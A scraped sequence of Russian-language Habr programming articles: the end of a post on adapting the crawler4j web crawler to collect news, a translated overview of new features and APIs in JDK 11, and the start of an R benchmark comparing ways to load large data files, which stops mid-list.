* отсутствие дополнительных инфраструктурных вещей (координаторов работы, БД для «паука», дополнительных сервисов и т.д.).
Выбранным решением был достаточно популярный робот для обхода сайтов — [crawler4j](https://github.com/yasserg/crawler4j). Он, конечно тянет за собой массу библиотек для анализа полученного контента, однако это не сказывается на скорости его работы или потребляемых ресурсах. В качестве БД ссылок использует Berkley DB, создаваемому в настраиваемом каталоге для каждого анализируемого сайта.
В качестве способа кастомизации разработчиком был выбран гибрид поведенческиих шаблонов «[Стратегия](https://en.wikipedia.org/wiki/Strategy_pattern)» (право на принятие решение о том какие ссылки и разделы сайта анализировать приходится принимать клиенту) и «[Наблюдатель](https://en.wikipedia.org/wiki/Observer_pattern)» (при обходе сайта данные о странице (адрес, формат, содержание, мета данные) передаются клиенту, который волен сам принимать решать, как с ними поступать).
Фактически для разработчика «паук» выглядит как библиотека, которая подключается к проекту и в которую передаются необходимые реализации интерфейсов для кастомизации поведения. Разработчиком расширяется библиотечный класс `«edu.uci.ics.crawler4j.crawler.WebCrawler»` (с методами `«shouldVisit»` и `«visit»`), который в последующем передаётся в библиотеку. Взаимодействие в процессе работы выглядит примерно таким образом:
, где `edu.uci.ics.crawler4j.crawler.CrawlController` — основной класс библиотеки, через который осуществляется взаимодействие (настройка обхода, передача управляющего кода, получение информации о статусе, запуск/остановка).
Реализацией парсинга сайтов ранее не приходилось заниматься – поэтому сразу же пришлось столкнуться с серией проблем и в процессе их устранения потребовалось сделать несколько решений по реализации и способам обработки полученных данных обхода:
* код анализа полученного контента и реализация шаблона «Стратегия» вынесен в виде отдельного проекта, версионность которого идёт отдельно от версий самого «паука»;
* фактический код анализа полученного контента и анализа ссылок реализован на [groovy](http://groovy-lang.org/), что позволяет изменить логику работы без перезапуска пауков (активирована опция `«recompileGroovySource»` в `«org.codehaus.groovy.control.CompilerConfiguration»`) (при этом соответствующий код реализации `«edu.uci.ics.crawler4j.crawler.WebCrawler»` фактически содержит в себе лишь интерпретатор groovy, который обрабатывает в себе переданные данные);
* извлечение данных с каждой встреченной страницы в «пауке» осуществляется не полное – убираются комментарии, «шапка» и «подвал», т.е. то что бессмысленно тратит 50% объёма каждой страницы – всё остальное сохраняется в базе MongoDB для последующего анализа (это позволяет перезапустить анализ страниц без повторного обхода сайтов);
* ключевые поля для каждой новости («дата», «заголовок», «тема», «автор» и т.д.) извлекаются уже из базы данных на MongoDB, при этом контролируется их заполненность – при достижении определённого количества ошибок – отправляется уведомление о необходимости корректировки скриптов (верный признак изменения структуры сайта).
### Изменение в коде библиотеки
Основной проблемой для меня было некоторое архитектурное решение разработчика cralwer4j о том, что страницы сайта не меняются, т.е. логика его работы такова:
Изучив исходные тексты библиотеки я понял, что никакими настройками данную логику не изменить и было принято решение о создании fork основного проекта. В указанном ответвлении перед действием «Внести извлечённые ссылки в БД ссылок» осуществляется дополнительная проверка на необходимость внесения ссылок в БД ссылок: стартовые страницы сайта никогда не заносятся в эту БД и как результат — при их попадании в основной цикл обработки они получаются повторно и повторно разбираются, выдавая при этом ссылки на свежие новости.
Однако подобная доработка требовала изменения работы с библиотекой, при которой запуск основных методов должен осуществляться на периодической основе, что было легко реализовано с помощью библиотеки [quartz](http://www.quartz-scheduler.org/). При отсутствии свежих новостей на стартовых страницах метод завершал свою работу через пару секунд (получив стартовые, проанализировав их и получив уже пройдённые ссылки) или записывал в БД свежие новости.
Спасибо за внимание! | https://habr.com/ru/post/335340/ | null | ru | null |
# 90 новых фич (и API) в JDK 11
Привет, Хабр! Представляю вашему вниманию перевод статьи «[90 New Features (and APIs) in JDK 11](https://www.azul.com/90-new-features-and-apis-in-jdk-11/)» от автора Simon Ritter.
Новый шестимесячный релизный цикл JDK для многих означает, что некоторые ещё даже не выяснили, какие новые функции в JDK 10, а на пороге уже JDK 11. [В одном из ранних блогов](https://www.azul.com/109-new-features-in-jdk-10/) (*англ.*), были перечислены все 109 новых фич и API, которые удалось найти в JDK 10. Поэтому для JDK 11 было решено поступить аналогично. Тем не менее, был выбран другой формат. Этот пост будет поделён на два раздела: новые фичи, которые доступны разработчикам (публичный API) и всё остальное. Таким образом, если вас интересует только то, что непосредственно повлияет на вашу разработку, вы можете пропустить вторую часть.
Общее число изменений, которое удалось подсчитать, получилось равным 90 (это JEP плюс новые классы и методы, исключая отдельные методы для [HTTP-клиента](http://openjdk.java.net/groups/net/httpclient/intro.html) и [Flight Recorder](https://docs.oracle.com/javacomponents/jmc-5-4/jfr-runtime-guide/about.htm)) (*прим. переводчика: Java Flight Recorder (JFR) был одним из коммерческих дополнений от Оракла встроенным в JDK, но начиная с Java 11, благодаря [JEP 328](http://openjdk.java.net/jeps/328), был передан в опенсорс)*. Хоть и в JDK 11 удалось найти на одиннадцать изменений меньше, чем в JDK 10, считаю, что справедливо сказать, что в JDK 11 добавлено больше функциональных возможностей, однозначно на уровне JVM.
### Новые заметные для разработчика фичи
В JDK 11 довольно мало изменений, которые могли бы повлияет на стиль разработки. Присутствует небольшое изменение синтаксиса, множество новых API и возможность запуска приложений одним файлом без использования компилятора (*прим. переводчика: так называемые [shebang файлы](http://openjdk.java.net/jeps/330#Shebang_files)*). Кроме того, большим (и ломающим) изменением является удаление агрегирующего модуля **[java.se.ee](https://docs.oracle.com/javase/9/docs/api/java.se.ee-summary.html)**, что может повлиять на перенос существующего приложения на JDK 11.
**[JEP 323: Local-Variable Syntax for Lambda Parameters](http://openjdk.java.net/jeps/323)**
В JDK 10 был введен вывод локальных переменных (или вывод типов) ([JEP 286](http://openjdk.java.net/jeps/286)). Это упрощает код, поскольку вам больше не нужно явно указывать тип локальной переменной, вместо этого можно использовать **var**. JEP 323 расширяет использование этого синтаксиса, который теперь также применим к параметрам лямбда-выражений. Простой пример:
```
list.stream()
.map((var s) -> s.toLowerCase())
.collect(Collectors.toList());
```
Внимательный программист на Java указал бы, что лямбда-выражения уже имеют вывод типа, поэтому использование var было бы (в данном случае) излишним. Мы могли бы так же легко написать тот же код, что и:
```
list.stream()
.map(s -> s.toLowerCase())
.collect(Collectors.toList());
```
Зачем было нужно добавлять поддержку var? Ответом является один особый случай — когда вы хотите добавить аннотацию к лямбда-параметру. Это невозможно сделать без участия какого-либо типа. Чтобы избежать использования явного типа, мы можем использовать var для упрощения вещей, таким образом:
```
list.stream()
.map((@Notnull var s) -> s.toLowerCase())
.collect(Collectors.toList());
```
Это изменение потребовало изменений в [спецификации языка Java (JLS)](https://docs.oracle.com/javase/specs/), в частности:
Страница 24: The description of the var special identifier.
Страница 627-630: Lambda parameters
Страница 636: Runtime evaluation of Lambda expressions
Страница 746: Lambda syntax
**[JEP 330: Launch Single-File Source-Code Programs](http://openjdk.java.net/jeps/330)**
Одним из критических замечаний к Java является избыточность синтаксиса, а «церемония», связанная с запуском даже тривиального приложения, может серьёзно повысить порог входа для новичка. Для написания приложения, которое просто печатает «Hello World!», требуется написать класс с общедоступным статическим void main методом и использовать метод System.out.println(). Сделав это, вы должны скомпилировать код с помощью javac. Наконец, вы cможете запустить приложение, которое будет приветствовать мир. Выполнение того же самого сценария, в большинстве современных языков значительно проще и быстрее.
JEP 330 устраняет необходимость компиляции однофайлового приложения. Теперь достаточно ввести:
```
java HelloWorld.java
```
Java лаунчер идентифицирует, что файл содержит исходный код Java и скомпилирует код в \*.class файл перед его выполнением.
Аргументы, помещенные после имени исходного файла, передаются в качестве аргументов при запуске приложения. Аргументы, помещенные перед именем исходного файла, передаются в качестве аргументов java лаунчеру после компиляции кода (это позволяет задавать такие вещи, как classpath, в командной строке). Аргументы, относящиеся к компилятору (например, путь к классам), также будут переданы в javac для компиляции.
Пример:
```
java -classpath /home/foo/java Hello.java Bonjour
```
Будет эквивалентно:
```
javac -classpath /home/foo/java Hello.java
java -classpath /home/foo/java Hello Bonjour
```
Этот JEP также обеспечивает поддержку «shebang» файлов. Чтобы уменьшить необходимость даже упоминать java лаунчер в командной строке, можно его включить в первую строку исходного файла. Например:
```
#!/usr/bin/java --source 11
public class HelloWorld {
...
```
Флаг -source с используемой версией Java является обязательным.
**[JEP 321: HTTP Client (Standard)](http://openjdk.java.net/jeps/321)**
JDK 9 предоставила новый API для поддержки протокола HTTP Client ([JEP 110](http://openjdk.java.net/jeps/110)). Так как JDK 9 предоставила [Java Platform Module System (JPMS)](https://en.wikipedia.org/wiki/Java_Platform_Module_System), этот API был включен как [модуль инкубатора](http://openjdk.java.net/jeps/11). Модули инкубаторов предназначены для предоставления новых API, но не превращают их в стандарт Java SE. Разработчики могут попробовать API, предоставив обратную связь. После внесения необходимых изменений (этот API был обновлен в JDK 10), API можно перенести в основной модуль, чтобы стать частью стандарта.
API HTTP Client теперь является частью стандарта Java SE 11. Это вводит новый модуль и пакет для JDK, [java.net.http](https://download.java.net/java/early_access/jdk11/docs/api/java.net.http/module-summary.html). Основные классы:
* HttpClient
* HttpRequest
* HttpResponse
* WebSocket
API можно использовать синхронно или асинхронно. В асинхронном режиме используются CompletionFutures и CompletionStages.
**[JEP 320: Remove The Java EE and CORBA Modules](http://openjdk.java.net/jeps/320)**
С введением JPMS в JDK 9 можно было разделить монолитный файл rt.jar на несколько модулей. Дополнительным преимуществом JPMS является то, что теперь можно создать среду выполнения Java, которая включает только модули, необходимые для вашего приложения, значительно уменьшая общий размер. Имея явно определенные границы, устаревшие модули теперь проще удалять из Java API. Это то, что делает этот JEP; метамодуль java.se.ee включает в себя шесть модулей, которые больше не будут частью стандарта Java SE 11 и не будут включены в JDK.
Удалённые модули:
* corba (*прим. переводчика: ~~rest in peace~~, burn in hell*)
* transaction
* activation
* xml.bind
* xml.ws
* xml.ws.annotation
Эти модули были помечены устаревшими (@Deprecated) начиная с JDK 9 и не были включены по умолчанию в компиляцию или рантайм. Если вы пытались скомпилировать или запустить приложение, использующее API из этих модулей на JDK 9 или JDK 10, то потерпели бы неудачу. Если вы используете API из этих модулей в своем коде, вам нужно будет предоставить их в виде отдельного модуля или библиотеки. Судя по отзывам кажется, что модули java.xml, которые являются частью поддержки веб-сервисов JAX-WS, SOAP, — это те, которые вызовут наибольшее количество проблем.
### Новый публичный API
Многие новые API-интерфейсы в JDK 11 являются результатом того, что клиентский модуль HTTP теперь является частью стандарта, а также включение Flight Recorder.
Полный схематичный список изменений API, включая сравнение различных версий JDK, [можно посмотреть здесь.](https://gunnarmorling.github.io/jdk-api-diff/jdk10-jdk11-api-diff.html)
Здесь перечислены все новые методы, отличные от тех, которые содержатся в модулях java.net.http и jdk.jfr. Также не перечислены новые методы и классы в модулях java.security, которые довольно специфичны для изменений [JEP 324](http://openjdk.java.net/jeps/324) и [JEP 329](http://openjdk.java.net/jeps/329) (есть шесть новых классов и восемь новых методов).
#### java.io.ByteArrayOutputStream
* **void writeBytes(byte [])**: записывает все байты из аргумента в OutputStream
#### java.io.FileReader
Два новых конструктора, которые позволяют указать Charset.
#### java.io.FileWriter
Четыре новых конструктора, которые позволяют указать Charset.
#### java.io.InputStream
* **io.InputStream nullInputStream()**: возвращает InputStream, который не считывает байты. Взглянув на этот метод (и на тот, что в OutputStream, Reader и Writer), возникает вопрос, для чего он может пригодиться. Можно думать о них как о **/dev/null** — для выброса вывода, который вам не нужен, или предоставления ввода, который всегда возвращает нулевые байты.
#### java.io.OutputStream
* **io.OutputStream nullOutputStream()**
#### java.io.Reader
* **io.Reader nullReader()**
#### java.io.Writer
* **io.Writer nullWriter()**
#### java.lang.Character
* **String toString(int)**: это перегруженная форма существующего метода, но вместо char используется int. Int — кодовая точка Unicode.
#### java.lang.CharSequence
* **int compare(CharSequence, CharSequence)**: сравнивает два экземпляра CharSequence [лексикографически](https://ru.stackoverflow.com/questions/489888/%D0%A7%D1%82%D0%BE-%D1%82%D0%B0%D0%BA%D0%BE%D0%B5-%D0%BB%D0%B5%D0%BA%D1%81%D0%B8%D0%BA%D0%BE%D0%B3%D1%80%D0%B0%D1%84%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D0%BE%D0%B5-%D1%81%D1%80%D0%B0%D0%B2%D0%BD%D0%B5%D0%BD%D0%B8%D0%B5-%D0%B8-%D1%87%D1%82%D0%BE-%D0%BE%D0%BD%D0%BE-%D1%81%D0%BE%D0%B1%D0%BE%D0%B9-%D0%BF%D1%80%D0%B5%D0%B4%D1%81%D1%82%D0%B0%D0%B2%D0%BB%D1%8F%D0%B5%D1%82). Возвращает отрицательное значение, ноль или положительное значение, если первая последовательность лексикографически меньше, равна или больше второй, соответственно.
#### java.lang.ref.Reference
* **lang.Object clone()**: Должен признаться, это изменение вызывает непонимание. Класс Reference не реализует интерфейс Cloneable, и этот метод выбрасывает исключение CloneNotSupportedException. Должна быть причина для его включения, возможно, для чего-то в будущем. (*прим. переводчика: [есть обсуждение на StackOverflow](https://stackoverflow.com/questions/52527797/why-unsupported-clone-method-was-added-to-java-lang-ref-reference-in-java-11), [тикет в OpenJDK](https://bugs.openjdk.java.net/browse/JDK-8202260)*)
#### java.lang.Runtime
#### java.lang.System
Здесь нет новых методов здесь, но стоит упомянуть, что метод **runFinalizersOnExit()** теперь удален из обоих классов (может возникнуть проблема при миграции на JDK 11).
#### java.lang.String
Я думаю, что это один из основных моментов новых API в JDK 11. Здесь есть несколько полезных новых методов.
* **boolean isBlank()**: возвращает true, если строка пуста или содержит только пробелы, иначе false.
* **Stream lines()**: возвращает Stream из String, извлеченных из этой строки, поделенных разделителями строк.
* **String repeat(int)**: возвращает строку, значение которой представляет собой конкатенацию этой строки, повторяющееся количество раз.
* **String strip()**: Возвращает строку, значение которой является этой строкой, при этом удаляются все пробелы в начале и в конце строки.
* **String stripLeading()**: возвращает строку, значение которой является этой строкой, при этом удаляются все пробелы в начале строки.
* **String stripTrailing()**: возвращает строку, значение которой является этой строкой, при этом удаляются все пробелы в конце строки.
Скорее всего, вы посмотрите на **strip()** и спросите: «Как это отличается от существующего метода **trim()**?» Ответ заключается в разнице определения пробелов. (*прим. переводчика: если коротко, **strip()** лучше понимает юникод, [подробный разбор на StackOverflow](https://stackoverflow.com/questions/51266582/difference-between-string-trim-and-strip-methods-in-java-11/51266583)*)
#### java.lang.StringBuffer
#### java.lang.StringBuilder
Оба этих класса имеют новый метод **compareTo()**, который принимает StringBuffer/StringBuilder и возвращает int. Метод лексического сравнения аналогичен новому методу **compareTo()** в CharSequence.
#### java.lang.Thread
Никаких новых методов. Методы **destroy()** и **stop(Throwable)** были удалены. Метод **stop()**, который не принимает аргументов, все еще присутствует. Может привести к проблеме совместимости.
#### java.nio.ByteBuffer
#### java.nio.CharBuffer
#### java.nio.DoubleBuffer
#### java.nio.FloatBuffer
#### java.nio.LongBuffer
#### java.nio.ShortBuffer
Все эти классы теперь имеют метод **mismatch()**, который находит и возвращает относительный индекс первого несоответствия между этим буфером и переданным буфером.
#### java.nio.channels.SelectionKey
* **int interestOpsAnd(int)**: Атомарно задает интерес этого ключа (key's interest) к побитовому пересечению («и») существующего набора интересов и переданного значения.
* **int interestOpsOr(int)**: Атомарно задает интерес этого ключа (key's interest) к побитовому объединению («или») существующего набора интересов и переданного значения.
#### java.nio.channels.Selector
* **int select(java.util.function.Consumer, long)**: выбор и выполнение действий над ключами, чьи соответствующие каналы готовы для операций ввода-вывода. long аргумент — таймаут.
* **int select(java.util.function.Consumer)**: то же, что и выше, только без таймаута.
* **int selectNow(java.util.function.Consumer)**: то же, что и выше, только неблокирующий.
#### java.nio.file.Files
* **String readString(Path)**: считывает весь контент из файла в строку, декодируя из байт в символы с использованием кодировки UTF-8.
* **String readString(Path, Charset)**: как указано выше, с разницей что декодирование из байт в символы происходит с использованием указанной Charset.
* **Path writeString(Path, CharSequence, java.nio.file.OpenOption [])**: Запись CharSequence в файл. Символы кодируются в байты, используя кодировку UTF-8.
* **Path writeString(Path, CharSequence, java.nio.file.Charset, OpenOption [])**: то же, что и выше, символы кодируются в байты, используя кодировку указанную в Charset.
#### java.nio.file.Path
* **Path of(String, String [])**: возвращает Path из строкового аргумента пути или последовательности строк, которые при объединении образуют строку пути.
* **Path of(net.URI)**: возвращает Path из URI.
#### java.util.Collection
* **Object[] toArray(java.util.function.IntFunction)**: возвращает массив, содержащий все элементы в этой коллекции, используя предоставленную функцию генерации для аллоцирования возвращаемого массива.
#### java.util.concurrent.PriorityBlockingQueue
#### java.util.PriorityQueue
* **void forEach(java.util.function.Consumer)**: Выполняет передаваемое действие для каждого элемента Iterable до тех пор, пока все элементы не будут обработаны, или действие не выбросит исключение.
* **boolean removeAll(java.util.Collection)**: удаляет все элементы этой коллекции, которые также содержатся в указанной коллекции (дополнительная операция).
* **boolean removeIf(java.util.function.Predicate)**: Удаляет все элементы из этой коллекции, которые удовлетворяют заданному предикату.
* **boolean retainAll(java.util.Collection)**: Сохраняет только те элементы в этой коллекции, которые содержатся в передаваемой коллекции (дополнительная операция).
#### java.util.concurrent.TimeUnit
* **long convert (java.time.Duration)**: конвертирует передаваемую Duration в этот тип.
#### java.util.function.Predicate
* **Predicate not(Predicate)**: Возвращает предикат, который является отрицанием передаваемого предиката.
Это один из моих любимых новых API в JDK 11. В качестве примера вы можете преобразовать этот код:
```
lines.stream()
.filter(s -> !s.isBlank())
```
в
```
lines.stream()
.filter(Predicate.not(String::isBlank))
```
или если мы используем статический импорт:
```
lines.stream()
.filter(not(String::isBlank))
```
Лично я считаю, что эта версия более понятна и лаконична.
#### java.util.Optional
#### java.util.OptionalInt
#### java.util.OptionalDouble
#### java.util.OptionalLong
* **boolean isEmpty()**: Если значение отсутствует, возвращает true, в противном случае — false.
#### java.util.regex.Pattern
* **Predicate asMatchPredicate()**: Я думаю, что это может быть жемчужина нового API JDK 11. Создает предикат, который проверяет, соответствует ли этот шаблон заданной строке ввода.
#### java.util.zip.Deflater
* **int deflate(ByteBuffer)**: сжимает входные данные и заполняет ими указанный буфер.
* **int deflate(ByteBuffer, int)**: сжимает входные данные и заполняет ими указанный буфер. Возвращает фактическое количество сжатых данных.
* **void setDictionary(ByteBuffer)**: Устанавливает заданный словарь для сжатия в байты в данном буфере. Это перегруженная форма существующего метода, который теперь может принимать ByteBuffer, а не байтовый массив.
* **void setInput(ByteBuffer)**: Устанавливает входные данные для сжатия. Также перегруженная форма существующего метода.
#### java.util.zip.Inflater
* **int inflate(ByteBuffer)**: распаковывает байты в указанный буфер. Возвращает фактическое количество разархивированных байт.
* **void setDictionary(ByteBuffer)**: Устанавливает заданный словарь в байты в данном буфере. Перегруженная форма существующего метода.
* **void setInput(ByteBuffer)**: Устанавливает входные данные для декомпрессии. Перегруженная форма существующего метода.
#### javax.print.attribute.standard.DialogOwner
Это новый класс в JDK 11. Используется для поддержки запроса на диалог печати или настройки страницы. Должен отображаться поверх всех окон или определенного окна.
#### javax.swing.DefaultComboBoxModel
#### javax.swing.DefaultListModel
* **void addAll(Collection)**: добавляет все элементы, присутствующие в коллекции.
* **void addAll(int, Collection)**: добавляет все элементы, присутствующие в коллекции, начиная с указанного индекса.
#### javax.swing.ListSelectionModel
* **int [] getSelectedIndices()**: Возвращает массив всех выбранных индексов в выбранной модели, в порядке возрастания.
* **int getSelectedItemsCount()**: Возвращает количество выбранных элементов.
#### jdk.jshell.EvalException
* **jshell.JShellException getCause()**: возвращает обёртку throwable cause в исполняющем клиенте, представленным EvalException, или null, если причина не существует или неизвестна.
### Новые фичи (не публичный API)
[JEP 181: Nest-Based Access Control](http://openjdk.java.net/jeps/181)
Java (и другие языки) поддерживает вложенные классы через внутренние классы. Для правильной работы компилятор должен выполнять некоторые трюки. Например:
```
public class Outer {
private int outerInt;
class Inner {
public void printOuterInt() {
System.out.println("Outer int = " + outerInt);
}
}
}
```
Компилятор модифицирует это, чтобы создать что-то вроде этого перед выполнением компиляции:
```
public class Outer {
private int outerInt;
public int access$000() {
return outerInt;
}
}
```
```
class Inner$Outer {
Outer outer;
public void printOuterInt() {
System.out.println("Outer int = " + outer.access$000());
}
}
```
Хотя, логически, внутренний класс является частью того же самого кода, что и внешний класс, он скомпилирован как отдельный класс. Поэтому для этого требуется синтетический метод ("мост"), который должен быть создан компилятором для обеспечения доступа к приватному полю внешнего класса.
Этот JEP представляет концепцию "гнезда", где два члена одного гнезда (Outer и Inner из нашего примера) являются соседями. Два новых атрибута были добавлены в формата \*.class файла: NestHost и NestMembers. Эти изменения также полезны для других, компилируемых в байткод, языков, поддерживающих вложенные классы.
Эта фича предоставляет три новых метода для java.lang.Class:
* **Class getNestHost()**
* **Class[] getNestMembers()**
* **boolean isNestmateOf(clazz)**
Эта функция также потребовала изменений в [спецификации виртуальной машины Java (JVMS)](https://docs.oracle.com/javase/specs/jvms/se11/html/), в частности в разделе 5.4.4 «Access Control».
**[JEP 309: Dynamic Class-File Constants](http://openjdk.java.net/jeps/309)**
Этот JEP описывает расширение формата \*.class файла для поддержки новой формы с константным пулом CONSTANT\_Dynamic (часто упоминаемой в презентациях как condy). Идея динамической константы кажется оксюмороном, но, по сути, вы можете думать о ней как о финальном (final) значении в Java. Значение константного пула не задаётся на этапе компиляции (в отличие от других констант), а используется метод начальной загрузки (bootstrap method) для определения значения во время выполнения. Поэтому значение является динамическим, но, поскольку его значение задано только один раз, оно также является константным.
Эта функция в первую очередь будет полезна тем, кто разрабатывает новые языки и компиляторы. Кто будет генерировать байт-код и \*.class файлы в для запуска на JVM. Это упростит некоторые задачи.
Эта фича предоставляет новый класс java.lang.invoke.ConstantBootstraps с девятью новыми методами. Я не буду перечислять их всех здесь; это методы начальной загрузки динамически вычисляемых констант.
Эта фича требовала внесения изменений в JVMS, в частности, в том, как используется специальный байтовый код invoke и раздел 4.4 «The Constant Pool».
**[JEP 315: Improve Aarch64 Intrinsics](http://openjdk.java.net/jeps/315)**
Это был JEP, внесенный Red Hat. JVM теперь может использовать больше специализированных инструкций, доступных в наборе команд Arm 64. В частности, это улучшает работу методов sin(), cos() и log() класса java.lang.Math.
**[JEP 318: The Epsilon Garbage Collector](http://openjdk.java.net/jeps/318)**
Red Hat также внесла свой вклад в этот JEP. Сборщик мусора Epsilon несколько необычен, поскольку он не собирает мусор! Он будет выделять новую память, если это потребуется при создании новых объектов, но не освобождает пространство, занятое объектами без ссылок.
Казалось бы, в чем тогда смысл? Есть, как минимум, два применения:
* Прежде всего, этот сборщик предназначен для того, чтобы новые алгоритмы GC были оценены с точки зрения их воздействия на производительность. Идея состоит в том, чтобы запустить пример приложения с Epsilon GC и сгенерировать метрику. Включается новый алгоритм GC, запускаются те же тесты и сравниваются результаты.
* Для очень коротких или маложивущих задач (подумайте о serverless функции в облаке), где вы можете гарантировать, что вы не превысите память, выделенную heap пространству. Это может повысить производительность за счет отсутствия накладных расходов (включая сбор статистики, необходимой для принятия решения о запуске сборщика) в коде приложения.
Если пространство кучи исчерпано, последующая работа JVM может быть сконфигурирована одним из трех способов:
* Вызывается обычный OutOfMemoryError.
* Выполнить сброс кучи
* Жёсткая остановка JVM и, возможно, выполнение внешней задачи (например, запуск отладчика).
[**JEP 324: Key Agreement with Curve25519 and Curve448**](http://openjdk.java.net/jeps/324)
Криптографические стандарты постоянно меняются и совершенствуются. В этом случае существующая схема Диффи-Хеллмана с эллиптической кривой заменяется на Curve25519 и Curve448. Это ключевая схема соглашения, определённая в RFC-7748.
[**JEP 327: Unicode 10**](http://openjdk.java.net/jeps/327)
Платформа Java поддерживает Unicode, для обеспечения обработки всех наборов символов. Поскольку Unicode был обновлен до [версии 10](https://unicode.org/versions/Unicode10.0.0/), JDK также был обновлен для поддержки этой версии стандарта.
Я всегда заинтригован, чтобы увидеть, что разработчики Unicode включают в новые версии. Unicode 10 имеет 8 518 новых символов. Это включает в себя символ биткоиа, набор символов Nüshu (используемый китайскими женщинами для написания стихов), а также Soyombo и Zanabazar Square (являются символами, используемыми в исторических буддийских текстах для написания санскрита, тибетского и монгольского языков). Добавилось также много других Эмоджи, включая долгожданный (по-видимому) [Colbert Emoji](https://emojipedia.org/face-with-one-eyebrow-raised/).
Не забывайте, что начиная с JDK 9 вы можете использовать UTF-8 в файлах свойств (.properties). Это означает, что любой символ Юникода может использоваться в таких файлах. Включая Emojis. Или Nüshu.
[**JEP 328: Flight Recorder**](http://openjdk.java.net/jeps/328)
Flight Recorder — это низкоуровневая структура сбора данных для JVM. До JDK 11 это была коммерческая функция в готовом наборе Oracle JDK. Теперь, когда Oracle устраняет функциональные различия между Oracle JDK и OpenJDK, эта функция была внесена в OpenJDK.
JEP выделяет четыре основных свойства:
* Предоставление API для записи и чтения данных как событий
* Предоставить буферный механизм и формат двоичных данных
* Разрешить настройку и фильтрацию событий
* Предоставлять события для ОС, JVM HotSpot и библиотек JDK
Для этого есть два новых модуля: jdk.jfr и jdk.management.jfr.
[**JEP 329: ChaCha20 and Poly1305 Cryptographic Algorithms**](http://openjdk.java.net/jeps/329)
Подобно JEP 324, это обновление шифров, используемых JDK. Реализация шифров ChaCha20 и ChaCha20-Poly1305, как указано в RFC 7539. ChaCha20 — это относительно новый потоковый шифр, который может заменить старый, небезопасный шифр потока RC4.
[**JEP 331: Low-overhead Heap Profiling**](http://openjdk.java.net/jeps/331)
Немного удивительно, что это JEP, был внесён Google. Это дает возможность получить информацию о распределении кучи объектов Java в JVM.
Основные свойства:
* Достаточно низкая рабочая нагрузка, которая будет включена по умолчанию непрерывно
* Доступен через четко определенный программный интерфейс
* Может отображать все распределения
* Может быть определен независимым от реализации способом (то есть, не ограничиваясь конкретным алгоритмом GC или реализацией VM)
* Может предоставлять информацию о живых и мертвых объектах Java.
[**JEP 332: Transport Layer Security (TLS) 1.3**](http://openjdk.java.net/jeps/332)
[TLS 1.3 (RFC 8446)](https://datatracker.ietf.org/doc/rfc8446/) является "капитальным ремонтом" протокола TLS и обеспечивает значительное повышение безопасности и производительности по сравнению с предыдущими версиями. JDK теперь поддерживает это, хотя это не распространяется на Datagram Transport Layer Security (DTLS).
[**JEP 333: ZGC A Scalable, Low Latency Garbage Collector**](http://openjdk.java.net/jeps/333)
Это новый экспериментальный сборщик мусора, предназначенный для использования с приложениями, для которых требуется большая (многогигабайтная) куча и низкая задержка. Он использует кучу одного поколения (что немного необычно, учитывая общепринятый шаблон использования [Weak Generational Hypothesis](https://www.cubrid.org/blog/understanding-java-garbage-collection)) и выполняет большинство (но не все) работы GC одновременно с приложением. Это делается используя механизм "барьера" при чтении, который перехватывает каждое чтение объекта из приложения и гарантирует правильность вернувшейся ссылки. Это устраняет проблему одновременного перемещения объектов во время работы потоков приложений.
ZGC — region-based (как и G1), NUMA aware и compacting сборщик мусора. Не предназначен как сборщик общего назначения.
Если вы действительно хотите pauseless сборщик мусора с низкой задержкой, от всего сердца могу порекомендовать C4 в нашей Zing JVM.
[**JEP 335: Deprecate the Nashorn Scripting Engine**](http://openjdk.java.net/jeps/335)
Nashorn был представлен в JDK 8 как более эффективная замена Rhino Javascript движку. Цель состоит в том, чтобы удалить Nashorn вместе с API и jjs инструментом из будущей версии Java. Когда это произойдет, пока не решено. Была предложена возможность использования Graal VM в качестве замены, но как это будет работать, пока неясно.
[**JEP 336: Deprecate the Pack200 Tools and APIs**](http://openjdk.java.net/jeps/336)
Pack200 — это схема сжатия для JAR-файлов, используется ещё со времён Java SE 5.0. С введением JPMS в JDK 9 Pack200 больше не используется для сжатия самого JDK. Инструменты pack200 и unpack200 и API Pack200 в java.util.jar теперь устарели и могут быть удалены в будущей версии JDK. Когда это произойдет, не указано.
### Выводы
JDK 11 — следующая версия LTS JDK (так определяет Оракл за которым следуют все остальные). Несмотря на то, что функций, ориентированных на разработчиков, не так много, в JVM много что изменилось, это закладывает основу для будущих более важных функций.
Zulu сборки JDK 11 можно [найти здесь](https://www.azul.com/downloads/zulu/) и абсолютно бесплатно!
Пришло ли время начать перенос ваших приложений в JDK 11?
(*прим. переводчика: просьба, все ошибки перевода и другие неточности присылать в ЛС*) | https://habr.com/ru/post/424683/ | null | ru | null |
# Быстрая загрузка данных из файлов в R
Недавно мы писали приложение на Shiny, где нужно было использовать очень большой блок данных (dataframe). Это непосредственно влияло на время запуска приложения, поэтому пришлось рассмотреть ряд способов чтения данных из файлов в R (в нашем случае это были csv-файлы, предоставленные заказчиком) и определить лучший.
Цель этой заметки — сравнить:
1. `read.csv` из `utils` — стандартный способ чтения csv-файлов в R
2. `read_csv` из `readr`, который в RStudio заменил предыдущий метод
3. `load` и `readRDS` из `base`, и
4. `read_feather` из `feather` и `fread` из `data.table`.
Данные
------
Для начала сгенерируем некоторые случайные данные:
```
set.seed(123)
df <- data.frame(replicate(10, sample(0:2000, 15 * 10^5, rep = TRUE)),
replicate(10, stringi::stri_rand_strings(1000, 5)))
```
и сохраним файлы на диске, чтобы оценить время загрузки. Кроме формата `csv`, еще понадобятся файлы `feather`, `RDS` и `Rdata`.
```
path_csv <- '../assets/data/fast_load/df.csv'
path_feather <- '../assets/data/fast_load/df.feather'
path_rdata <- '../assets/data/fast_load/df.RData'
path_rds <- '../assets/data/fast_load/df.rds'
library(feather)
library(data.table)
write.csv(df, file = path_csv, row.names = F)
write_feather(df, path_feather)
save(df, file = path_rdata)
saveRDS(df, path_rds)
```
Теперь проверим размеры файлов:
```
files <- c('../assets/data/fast_load/df.csv', '../assets/data/fast_load/df.feather', '../assets/data/fast_load/df.RData', '../assets/data/fast_load/df.rds')
info <- file.info(files)
info$size_mb <- info$size/(1024 * 1024)
print(subset(info, select=c("size_mb")))
## size_mb
## ../assets/data/fast_load/df.csv 1780.3005
## ../assets/data/fast_load/df.feather 1145.2881
## ../assets/data/fast_load/df.RData 285.4836
## ../assets/data/fast_load/df.rds 285.4837
```
Как видим, оба формата файлов, и `csv`, и `feather`, занимают гораздо больше места на диске. `Csv` — в 6 раз, а `feather` — более, чем в 4 раз больше `RDS` и `RData`.
Тест производительности
-----------------------
Для сравнения времени чтения в 10 раундах использовалась библиотека `microbenchmark`. Методы:
* utils::read.csv
